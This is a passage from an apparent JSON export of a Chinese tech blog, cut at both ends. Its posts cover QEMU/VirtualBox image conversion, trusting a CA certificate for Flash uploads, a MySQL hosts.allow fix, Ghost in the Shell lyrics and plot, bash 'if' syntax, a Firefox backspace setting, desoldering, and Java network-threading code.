(QEMU can usually detect it)qemu-img convert -O qcow2 test.vmdk test.qcow2\nExchanging images with VirtualBox\nTo convert a QEMU image for use with VirtualBox, first convert it to raw\nformat, then use VirtualBox\u0026#8217;s conversion utility to convert and compact\nit in its native format. Note that the compact command requires the\nfull path to the VirtualBox image, not just the filename.\nqemu-img convert -O raw test.qcow2 test.raw\n(1) VBoxManage convertdd test.raw test.vdi\nVBoxManage modifyvdi /full/path/to/test.vdi compact\n(1) or try :\nVBoxManage convertfromraw -format VDI test.raw test.vdi\nVBoxManage\ndoesn\u0026#8217;t have the capability to convert an image back to raw format.\nHowever, an older tool was available for download off the VirtualBox\nwebsite, vditool, can apparently convert from .vdi to raw format. UPDATE \u0026#8211; Feb 2009 \u0026#8211; current installations of VirtualBox should already include vditool. Kvditool is a GUI for managing vditool.\n(2) or try :\nVBoxManage internalcommands converttoraw file.vdi file.raw\n","permalink":"https://hessian.cn/p/518.html","summary":"QEMU/Images\n‍\nFrom Wikibooks, the open-content textbooks collection \u0026lt; QEMU Jump to: navigation, search Once\nQEMU has been installed, and kqemu compiled and configured, it should\nbe ready to run a guest OS from a virtual disc image. A disc image is a\nfile that represents the data on a hard disc. From the perspective of\nthe guest OS, it actually is a hard disc, and the guest OS can actually\ncreate its own filesystem on the virtual disc.\n","title":"QEMU/Images"},{"content":"最近在开发后台的时候用到了swfupload做文件上传，以前用一直都没问题，但是现在在HTTPS下就一直出现HTTPS错误，查了一下据说Flash的SSL验证用的居然是IE的验证程序。\n。。。 真是郁闷啊，只要把ca.crt导入到IE的 受信任的根证书发布者 里就行了，什么FF2 FF3 全都没问题了就。。。 TMD。。。FF里的FLASH居然也走IE的SSL验证。。。这让我抓了半天脑袋。。 参考 地址：http://swfupload.org/forum/generaldiscussion/347 原文： puika Says: October 30, 2008 \u0026#8211; 3:11am\nI think Flash under Windows uses certificate authorities that are trusted by IE (Windows).\nIf you have you own CA or using certificate signed by CACert.org, you need to import this CA certificate in IE as \u0026#8220;Trusted Root Certification Authority\u0026#8221;. OK \u0026#8211; i know that this is a problem for public servers to tell clients do this.\nBut if you have corporate network there should be no problem to do this automatically.\nOne more reason to push OS and browser developers to add CACert.org to trusted root authorities.\nHope this helps somebody:)\nLinux 下的解决办法：\nkriner Says: September 30, 2009 \u0026#8211; 9:45am\nFlashplayer does\u0026#8217;nt read the firefox certificates store, but the default CA certificates store located in the /etc/ssl/certs/ directory.\nYou can add your own CA certificate with the following shell command:\nupdate-ca-certificates\nExemple (for Debian or Ubuntu users):\n(obviously, you need to be root)\nyour organization is named \u0026#8216;myorg\u0026#8217; and your CA certificate \u0026#8216;myorgCA.crt\u0026#8217;\nCreate \u0026#8216;myorg\u0026#8217; directory under /usr/share/ca-certificates\nCopy your CA certificate in the new created directory\nEdit /etc/ca-certificates.conf and add the following two lines (first line is for comemnt):\n# My organization CA\nmyorg/myorgCA.crt\nThen run:\nupdate-ca-certificates -v\nThat\u0026#8217;s all.\nNow it works with firefox.\n","permalink":"https://hessian.cn/p/484.html","summary":"最近在开发后台的时候用到了swfupload做文件上传，以前用一直都没问题，但是现在在HTTPS下就一直出现HTTPS错误，查了一下据说Flash的SSL验证用的居然是IE的验证程序。\n","title":"SWFUpload https IO Error: #2038"},{"content":"这个问题遇到了好几次，是出现在用机器名访问数据库时。\n以前看了网上很多解决办法都没有搞定，今天终于找到真正的解决办法了。。。没想到居然是这样。。\n\u0026#8205;\nArch Linux, a similar line can be added to /etc/hosts.allow:\nmysqld: ALL 参考资料：http://www.bramschoenmakers.nl/en/node/595 另外还有一个就是archlinux的mysqld默认配置文件是关闭了网络访问的(skip-networking)，如果无法连接可以看看是不是/etc/mysql/my.cnf中有这个选项。\n","permalink":"https://hessian.cn/p/625.html","summary":"这个问题遇到了好几次，是出现在用机器名访问数据库时。\n以前看了网上很多解决办法都没有搞定，今天终于找到真正的解决办法了。。。没想到居然是这样。。\n\u0026#8205;\nArch Linux, a similar line can be added to /etc/hosts.allow:\nmysqld: ALL ","title":"解决：ERROR 2013 (HY000)"},{"content":"Ангелы　и　демоны　кружияи　надо　мной\nРаэбивали　тернии　и　эвёэлные　пути\nНе　энает　счастьа　только　тот,\nКто　его　эова　понять　не　смог\u0026#8230; I am Calling Caling now, spirits rise and falling\nСобой　остаться　дольше\u0026#8230;\nCalling Caling, in the depth of longing\nСобой　остаться　дольше\u0026#8230; Stand alone\u0026#8230; Where was life when it had a meaning\u0026#8230; Stand alone\u0026#8230; Nothing\u0026#8217;s real anymore and\u0026#8230; \u0026#8230;Бесконечный　бег\u0026#8230;\nПока　жива　я　могу　старатьсяна　лету　не　упасть,\nНе　раэучиться　мечтать\u0026#8230;　любить\u0026#8230;\n\u0026#8230;Бесконечный　бег\u0026#8230; Calling Calling, For the place of konwing\nThere\u0026#8217;s more than what can be linked\nCalling Calling, Never will I look away\nFor what life has left for me\nFor what life has left for me\nYearning Yearning, for what\u0026#8217;s left of loving Собой　остаться　дольше\u0026#8230;\nCalling Calling now, Spirits rise and falling\nСобой　остаться　дольше\u0026#8230;\nCalling Calling, in the depth of longing\nСобой　остаться　дольше\u0026#8230;\n——————————————————————————————————\nAngely i demony kruzhili nado mnoj\nRassekali ternii i mlechnye puti\nNe znaet schast\u0026#8217;ya tol\u0026#8217;ko tot,\nKto ego zova ponyat\u0026#8217; ne smog\u0026#8230; I am Calling Calling now, Spirits rise and falling\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling, in the depth of longing\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230; Stand alone\u0026#8230; Where was life when it had a meaning\u0026#8230;\nStand alone\u0026#8230; Nothing\u0026#8217;s real anymore and\u0026#8230; \u0026#8230;Beskonechnyj beg\u0026#8230;\nPoka zhiva ya mogu starat\u0026#8217;sya na letu ne upast\u0026#8217;,\nNe razuchit\u0026#8217;sya mechtat\u0026#8217;\u0026#8230;lyubit\u0026#8217;\u0026#8230;\n\u0026#8230;Beskonechnyj beg\u0026#8230; Calling Calling, For the place of knowing There\u0026#8217;s more that what can be linked\nCalling Calling, Never will I look away\nFor what life has left for me\nYearning Yearning, for what\u0026#8217;s left of loving Soboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling now, Spirits rise and falling\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling, in the depth of longing\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\n原作：士朗正宗 [讲谈社]\n监督：押井守\n脚本：伊藤和典\n音乐：川井宪次\n【剧情介绍】\n某国外交官在与一个要求政治避难的程序员代田会面，但被公安六课逮捕，行动中，此外交官突然被来历不明的杀手击毙，而杀手也逃之夭夭。此次行动其实是公安九课的杰作，因为政府不便出面，所以瞒者六课而命令九课消除麻烦。\n某日，外相的翻译被人动了手脚，九课在她的电子脑中发现了某种病毒，作案手法似乎是传说中的“傀儡王”的风格。傀儡王是一个被通缉的国际罪犯，他利用侵入大脑的方式，来指使别人为其工作。几天后，素子他们发现有一个黑客经常入侵一些公共设施的电脑，于是九课布置陷阱，抓获了这个身为清洁工人的黑客与给其程序的人。可是审问过程中，他们却发现此人的记忆早已被人所篡改，他的动机其实也是在别人的暗示之下进行的。而且那个提供程序的人的记忆也被人改动了，这两人完全都不记得自己的过去、自己的家人，甚至自己的名字，他们就象一颗被人摆弄的棋子。\n素子已经陷入了迷茫的阶段，看着商店橱窗里摆放的衣服人偶，她思考身为人类究竟该有何定义，难道这身体和人偶没有区别吗？记忆也可以更改，那么身为人类到底有哪些是属于自己的呢？人类一生的记忆，与庞大的信息世界，就好比一滴水和大海的程度。\n案件仍然没有停止，素子却有种仿佛被人凝视的感觉，她并不清楚这是哪里的视线。紧接着，麦格公司与政府合作生产的一个完全电脑人逃离公司，在夜间被车撞倒。九课接受了她的躯体。六课也派人来，并声称此电脑人躯体内有他们追踪多时的傀儡王，于是一干人等开始检查该电脑人的躯体。躯体内的傀儡王表明自己不是AI，虽然他的代号是“2501计划”，但是他已有了察觉自我存在的意识。此时，九课遭到袭击，电脑人躯体被抢走。素子跟踪劫匪，并在一处破旧的废墟找到了被六课藏匿的2501。\n2501告诉素子，外交部、六课和麦格公司合作2501计划，而主要的程序编制者就是代田，2501的诞生只是他们的工具而已，但他产生了自我意识，逃离了他们的控制。他开始思考自己的定位，最终他得出了答案：生命与死亡！这就是一个真正人类的行为。在他漫长的寻找同伴的过程中，他发现了草稚素子，经过观察，他认为只有与她结合，他们才能更加完美。虽然结合的结果会导致2501自己的灭亡，可他仍然坚持认为：没有死亡就不是真正的生物，只有死才能带来生！这是生命不断延续发展的动力。\n此刻，六课的攻击直升机已经找到了2501和素子，他们得到的命令是：消灭此二人！但是由于突然而来的干扰电波，武器系统一直无法锁定目标。\n自己过去的经历，以及2501对自己的影响，素子考虑后同意了他的要求：接受他，创造新的生命！一刹那间，仿佛天使般的降临，素子和2501的灵魂融为一体。同时，干扰消除，直升机立刻对目标做出了攻击动作！即使巴特奋力抵挡也无济于事，2501和素子都被消灭了\u0026#8230;\u0026#8230;\n一个新的素子诞生了，不，虽然她有着那人的记忆，但她并不是素子，这位少女看着庞大的世界，思考着：自己该何去何从\u0026#8230;\u0026#8230;\u0026#8230; ","permalink":"https://hessian.cn/p/437.html","summary":"Ангелы　и　демоны　кружияи　надо　мной\nРаэбивали　тернии　и　эвёэлные　пути\nНе　энает　счастьа　только　тот,\nКто　его　эова　понять　не　смог\u0026#8230; ","title":"Ghost in the shell OST"},{"content":"src: http://www.linuxdiyf.com/viewarticle.php?id=105505\n我打赌正在看这篇文章的你, 超过99%的可能性你对这个问题的理解是错的. 或者至少是有偏差的.\n我深信这是一种教育法上的广泛错误, 那就是告诉大家说:\nif [ condition ]\nthen\n\u0026#8230;\nfi\n这是bash中条件语句的\u0026quot;语法\u0026quot;.\n任何人, 或者说几乎任何人, 都会在这种描述下自然地认为: [ 和 ] 是这种语法结构本身的一部分, 并且, 老老实实地在自己的脚本中总是这样使用if 语句, 如果你总是在判断字符串是否相等, 或文件的各种属性, 这么做倒是没错, 只不过你可能会这样犯错:(下文都假设$1内容为-a)\nif [\u0026quot;$1\u0026quot; = \u0026quot;-a\u0026quot; ]\n或\nif [ \u0026quot;$1 = \u0026quot;-a\u0026quot;]\n毕竟, 很多其它语言中, 特殊符号如()、{}做分隔符时, 可以与被分隔内容亲密无间. 而bash会来答复你的这种写法:\n[-a: command not found\nbash: [: missing `]\u0026#8217;\n我相信， 以上这种心理模型造成的失败后果十分严重, bash的错误信息显示出它内部并不这样看待if 条件语句的结构.\n上面的模型同样不能解释下面的合法bash 命令:\n[ \u0026quot;$1\u0026quot; = \u0026quot;-a\u0026quot; ]\n仅仅这本身就是一个合法的命令, 没有if、then、fi这些东西，当然, 下面这样的也合法\n[ \u0026quot;$1\u0026quot; = \u0026quot;-a\u0026quot; ] \u0026amp;\u0026amp; echo yes\n你如何解释这些烂事? 当然你可以自圆其说地不断对上面的if进行补充, 呃, [ .. ] 这种结构就是这么特别, 你必需在[之后有至少一个空格, 并且在]之前也至少有一个空格, 同时[..] 结构还可以单独出现, 就象上面这样, 另外\u0026#8230; 这样的解释简直是自欺欺人, 我敢保证企图对自己这样解释的人根本自己就在怀疑这种说法, 因为你根本不知道这个结构还有其它什么怪诞诡秘之处何时会突然跳出来让你大吃一惊. 我承认，我自己也曾经经历过这样的想法.\n为了彻底批判这种错误概念, 容我再举一例:\nif ps ax | grep oracle \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 ; then\n\u0026#8230;\nfi\n首先, 这是合法的, 它的目的是想知道进程列表中有没有与oracle相关的东西, 当然, 如果你够牛, 就能看出这种做法有另外的问题. 但这不是我想说的重点.\n我想说的是, 你前面被教导的这种if 语句的语法模型, 如何解释这个, [ 与 ] 又不见了, 并且还出现了管道, 普通的管道我们都见过, 但它能安全地出现在if 语句中吗, 并且, 让你感觉熟悉和安全的[ 和 ]又不见了.\n好吧, 拨乱的部分至此为止, 如果你想获得一个关于bash中if结构的正确的健康的环保的知识, 就打起精神往下看:\n1. 首先, [ 在bash中没有特殊地位, 它是一个命令, 就跟cat, ls, grep一样让你感到熟悉的命令. 它不是关键字，虽然它的更出色的胞弟\u0026quot;[[\u0026quot;是\necho [\n你就得到 [, 不信就试试, bash不会报告任何错误! 但这不说明它不是关键字， echo if你也能得到if\n所以, 请再试:\nwhich [\n以及\nls -l $(which [)\n2. 然后, if 的真正模型是:\nif COMMANDS; then COMMANDS; [ elif COMMANDS; then COMMANDS; ]\u0026#8230; [ else COMMANDS; ] fi\n其实, bash中的help if就给了你正确的答案, 但我不知道什么原因无数人就是忽略了它, 而非常多的bash教学资料中都采用了本文开头提出的那种模型来告诉你关于if 结构的事.\n注意: [ \u0026quot;$1\u0026quot; = \u0026quot;-a\u0026quot; ] 只一个命令, [ 是命令名!, \u0026quot;$1\u0026quot;是第一个参数, =是第二个参数, \u0026quot;-a\u0026quot;是第三个, ]是第4个. 是[这个命令, 而不是bash本身在报怨 [ \u0026quot;$1\u0026quot; = \u0026quot;-a\u0026quot;] 这样的结构造成的错误, 因为[这个命令对它的参数有所期望, 它期望最后一个参数是 ], 而你用\u0026quot;-a\u0026quot;] 这种连写的形式, 它得到的就只有3个参数: $1, = 和 -a].\n这也解释了这样的错误:\n[\u0026quot;$1\u0026quot; = \u0026quot;-a\u0026quot; ]\nbash解释器得到了这样的一个命令行:\n[-a = \u0026quot;-a\u0026quot; ]\n当然, 它认为 [-a 是命令名部分, 而你的系统中没有这个命令, 所以会报告说:\n[-a: command not found\n3. 其次, bash中有一个builtin的 [命令, 通常你使用[执行的都是这个内置的命令, 目的是效率. 启动一个进程的代价太高.\n试试\ntype [\n命令\n","permalink":"https://hessian.cn/p/637.html","summary":"src: http://www.linuxdiyf.com/viewarticle.php?id=105505\n我打赌正在看这篇文章的你, 超过99%的可能性你对这个问题的理解是错的. 或者至少是有偏差的.\n我深信这是一种教育法上的广泛错误, 那就是告诉大家说:\n","title":"[转]关于bash中if语法结构的广泛误解"},{"content":"src: http://lifehacker.com/269945/set-backspaces-firefox-behavior\nThe backspace key performs differently in Firefox on Linux than on Windows or Mac. On Windows and Mac, hitting the backspace key will navigate the \u0026#8216;fox back one page. In Linux, hitting backspace will scroll your current page up (shift+backspace will scroll your current page down). This is pretty annoying for dual-booters who expect the backspace key to do the same thing across all partitions. The Ubuntu on Dell Inspiron 1501 weblog explains how you can customize your backspace key in about:config.\nSet \u0026quot;browser.backspace_action\u0026quot; to either 0 or 1\n0 \u0026#8211; Pressing backspace button will go back a page in the session history\n1 \u0026#8211; Pressing backspace button will scroll up a page in the current document and\n[Shift]+[Backspace] will scroll down. 囧，哥终于找到怎么在linux下面让firefox 按退格键 后退了\n","permalink":"https://hessian.cn/p/370.html","summary":"src: http://lifehacker.com/269945/set-backspaces-firefox-behavior\nThe backspace key performs differently in Firefox on Linux than on Windows or Mac. On Windows and Mac, hitting the backspace key will navigate the \u0026#8216;fox back one page. In Linux, hitting backspace will scroll your current page up (shift+backspace will scroll your current page down). This is pretty annoying for dual-booters who expect the backspace key to do the same thing across all partitions. The Ubuntu on Dell Inspiron 1501 weblog explains how you can customize your backspace key in about:config.\n","title":"Set Backspace's Firefox behavior"},{"content":"　1．拆焊原则\n拆焊的步骤一般与焊接的步骤相反。拆焊前，一定要弄清 楚原焊接点的特点，不要轻易动手。\n(l)不损坏拆除的元器件、导 线、原焊接部位的结构件。\n(2)拆焊时不可损坏印 制电路板上的焊盘与印制导线。\n(3)对已判断为损坏的元器件，可先行将引线剪断，再 行拆除，这样可减小其他损伤的可能性。\n(4)在拆焊过程中，应该尽量避免拆除其他元器件或变 动其他元器件的位置。若确实需要，则要做好复原工作。\n2．拆焊要点\n(1)严格控制加热的温度和时间\n拆焊的加热时间和温度较焊接时间要长、要高，所以要严 格控制温度和加热时间，以免将元器件烫坏或使焊盘翘起、断裂。宜采用间隔加热法来进行拆焊。\n(2)拆焊时不要用力过猛\n在高温状态下，元器件封装的强度都会下降，尤其是对塑 封器件、陶瓷器件、玻璃端子等，过分的用力拉、摇、扭都会损坏元器件和焊盘。\n(3)吸去拆焊点上的焊料\n拆焊前，用吸锡工 具吸去焊料，有时可以直接将元器件拔下。即使还有少量锡连接，也可以减少拆焊的时间，减小元器件及印制电路板损坏的可能性。如果在没有吸锡工具的 情况下，则可以将印制电路板或能够移动的部件倒过来，用电 烙铁加热拆焊点，利用重力原理，让焊锡自动流向烙 铁头，也能达到部分去锡的目的。\n3．拆焊方法\n通常，电 阻、电容、晶体管等引脚不多，且每个引线可相对活动的元器件可用烙铁直接解焊。把印制板竖起来夹住，一边用烙铁加热待拆元 件的焊点，一边用镊子或尖嘴钳夹住元器件引线轻轻拉出。\n当拆焊多个引脚的集 成电路或多管脚元器件时，一般有以下几种方法。\n(1)选择合适的医用空心针头拆焊\n将医用针头用铜锉锉平，作为拆焊的工具，具体方法是： 一边用电烙铁熔化焊点，—边把针头套在被焊元器件的引线上，直至焊点熔化后，将针头迅速插入印制电路板的孔内，使元器件的引线脚与印制电路板的焊盘分开。\n(2)用吸锡材料拆焊\n可用做锡焊材料的有屏 蔽线编织网、细铜网或多股铜导线等。将吸锡材料加松香助 焊剂，用烙铁加热进行拆焊。\n(3)采用吸锡烙铁或吸锡器进行拆焊\n吸锡烙铁对拆焊是很有用的，既可以拆下待换的元件，又 可同时不使焊孔堵塞，而且不受元器件种类限制。但它必须逐个焊点除锡，效率不高，而且必须及时排除吸入的焊锡。\n(4)采用专用拆焊工具进行拆焊\n专用拆焊工具能一次完成多引线引脚元器件的拆焊，而且 不易损坏印制电路板及其周围的元器件。\n(5)用热风 枪或红外线焊枪进行拆焊\n热风枪或红外线焊枪可同时对所有焊点进行加热，待焊点 熔化后取出元器件。对于表面安装元器件，用热风枪或红外线焊枪进行拆焊效果最好。用此方法拆焊的优点是拆焊速度快，操作方便，不宜损伤元器件和印制电路板 上的铜箔。\n","permalink":"https://hessian.cn/p/614.html","summary":"　1．拆焊原则\n拆焊的步骤一般与焊接的步骤相反。拆焊前，一定要弄清 楚原焊接点的特点，不要轻易动手。\n(l)不损坏拆除的元器件、导 线、原焊接部位的结构件。\n","title":"拆焊操作"},{"content":"src: http://www.javaeye.com/topic/420224\n在j2me联网时，在eclipse控制台下有一个警告：“若要避免潜在的死锁，应该在commandAction()处理程序之外的其他线程中执行可能 会阻塞的，操作（如网络连接）。 为了避免潜在的死锁，我们经常把把联网的代码部分写到一个线程中去执行。 而实际应用中，网络连接的事务也都是使用一个单独的线程进行的。 线程的创建可以使用Runnable接口来实现，也可以使用Thread类实现，还可以以匿名内部类的方式创建。在本文中，分别用这三种方式给出 了j2me联网的例子。 代码均测试通过。可以直接使用。 1.通过继承Thread类创建 Java 代码 /**\u0026#160;\u0026#160; *\u0026#160;测 试Thread类线程\u0026#160;\u0026#160; *\u0026#160;@author\u0026#160;mfcai\u0026#160;\u0026#160; */\u0026#160;\u0026#160;\u0026#160; \u0026#160;\u0026#160;import\u0026#160;java.io.BufferedReader;\u0026#160;\u0026#160; import\u0026#160;java.io.IOException;\u0026#160;\u0026#160; import\u0026#160;java.io.InputStreamReader;\u0026#160;\u0026#160; import\u0026#160;java.io.Reader;\u0026#160;\u0026#160; import\u0026#160;java.net.HttpURLConnection;\u0026#160;\u0026#160; import\u0026#160;java.net.MalformedURLException;\u0026#160;\u0026#160; import\u0026#160;java.net.URL;\u0026#160;\u0026#160; \u0026#160;\u0026#160; public\u0026#160;class\u0026#160;OpenConn\u0026#160;implements\u0026#160;Runnable\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;private\u0026#160;HttpURLConnection\u0026#160;conn;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;private\u0026#160;URL\u0026#160;url;\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;//\u0026#160;Thread\u0026#160;thread1;\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;OpenConn(String\u0026#160;url)\u0026#160;throws\u0026#160;MalformedURLException\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;this.url\u0026#160;=\u0026#160;new\u0026#160;URL(url);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;void\u0026#160;run()\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;try\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;conn\u0026#160;=\u0026#160;(HttpURLConnection)\u0026#160;url.openConnection();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;catch\u0026#160;(IOException\u0026#160;e)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;e.printStackTrace();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;url\u0026#160;=\u0026#160;null;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;HttpURLConnection\u0026#160;getConn()\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;return\u0026#160;conn;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;static\u0026#160;void\u0026#160;main(String[]\u0026#160;args)\u0026#160;throws\u0026#160;Exception\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;//\u0026#160;创建Runnable类\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;OpenConn\u0026#160;openConn\u0026#160;=\u0026#160;new\u0026#160;OpenConn(\u0026quot;http://www.google.com\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;//\u0026#160;创建线程\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;Thread\u0026#160;thread\u0026#160;=\u0026#160;new\u0026#160;Thread(openConn);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;//\u0026#160;openConn.thread1=thread;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;thread.start();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;thread.join(10000);//\u0026#160;wait\u0026#160;10\u0026#160;seconds\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;HttpURLConnection\u0026#160;c\u0026#160;=\u0026#160;openConn.getConn();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;if\u0026#160;(c\u0026#160;!=\u0026#160;null)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(\u0026quot;连接网络成功\u0026#8230;\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;BufferedReader\u0026#160;r\u0026#160;=\u0026#160;new\u0026#160;BufferedReader(new\u0026#160;InputStreamReader(c\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;.getInputStream()));\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;String\u0026#160;s\u0026#160;=\u0026#160;r.readLine();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;while\u0026#160;(s\u0026#160;!=\u0026#160;null)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(s);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;s\u0026#160;=\u0026#160;r.readLine();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;else\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(\u0026quot;超时错误,连接网络失败\u0026#8230;\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; }\u0026#160;\u0026#160; /** * 测试Thread类线程 * @author mfcai */ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.Reader; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; public class OpenConn implements Runnable { private HttpURLConnection conn; private URL url; // Thread thread1; public OpenConn(String url) throws MalformedURLException { this.url = new URL(url); } public void run() { try { conn = (HttpURLConnection) url.openConnection(); } catch (IOException e) { e.printStackTrace(); url = null; } } public HttpURLConnection getConn() { return conn; } public static void main(String[] args) throws Exception { // 创建Runnable类 OpenConn openConn = new OpenConn(\u0026quot;http://www.google.com\u0026quot;); // 创建线程 Thread thread = new Thread(openConn); // openConn.thread1=thread; thread.start(); thread.join(10000);// wait 10 seconds HttpURLConnection c = openConn.getConn(); if (c != null) { System.out.println(\u0026quot;连接网络成功...\u0026quot;); BufferedReader r = new BufferedReader(new InputStreamReader(c .getInputStream())); String s = r.readLine(); while (s != null) { System.out.println(s); s = r.readLine(); } } else { System.out.println(\u0026quot;超时错误,连接网络失败...\u0026quot;); } } } 2.通过引用Runnable接口创建 Java 代码 /**\u0026#160;\u0026#160; *\u0026#160;测 试Runnable接口线程\u0026#160;\u0026#160; *\u0026#160;@author\u0026#160;mfcai\u0026#160;\u0026#160; */\u0026#160;\u0026#160;\u0026#160; import\u0026#160;java.io.BufferedReader;\u0026#160;\u0026#160; import\u0026#160;java.io.IOException;\u0026#160;\u0026#160; import\u0026#160;java.io.InputStreamReader;\u0026#160;\u0026#160; import\u0026#160;java.io.Reader;\u0026#160;\u0026#160; import\u0026#160;java.net.HttpURLConnection;\u0026#160;\u0026#160; import\u0026#160;java.net.MalformedURLException;\u0026#160;\u0026#160; import\u0026#160;java.net.URL;\u0026#160;\u0026#160; \u0026#160;\u0026#160; public\u0026#160;class\u0026#160;OpenConn2\u0026#160;extends\u0026#160;Thread\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;private\u0026#160;HttpURLConnection\u0026#160;conn;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;private\u0026#160;URL\u0026#160;url;\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;OpenConn2(String\u0026#160;url)\u0026#160;throws\u0026#160;MalformedURLException\u0026#160;{\u0026#160;\u0026#160; 